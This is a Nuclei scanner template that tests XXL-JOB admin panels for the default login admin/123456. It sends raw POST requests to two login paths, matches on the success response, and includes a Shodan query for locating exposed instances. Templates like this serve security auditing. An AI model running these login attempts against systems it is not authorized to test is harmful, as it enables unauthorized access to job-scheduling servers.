nuclei-templates/default-logins/xxljob/xxljob-default-login.yaml

64 lines
1.4 KiB
YAML

id: xxljob-default-login
info:
name: XXL-JOB Default Login
author: pdteam,ritikchaddha
severity: high
description: XXL-JOB default admin credentials were discovered.
reference:
- https://github.com/xuxueli/xxl-job
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
metadata:
verified: true
shodan-query: http.favicon.hash:1691956220
tags: default-login,xxljob
requests:
- raw:
- |
POST /xxl-job-admin/login HTTP/1.1
Host:{{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
userName={{username}}&password={{password}}
- |
POST /login HTTP/1.1
Host:{{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
userName={{username}}&password={{password}}
attack: pitchfork
payloads:
username:
- admin
password:
- 123456
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- '"code":200'
- '"msg"'
- '"content"'
condition: and
- type: word
part: header
words:
- 'application/json'
- 'XXL_JOB_LOGIN_IDENTITY'
condition: and
- type: status
status:
- 200
# Enhanced by mp on 2022/03/14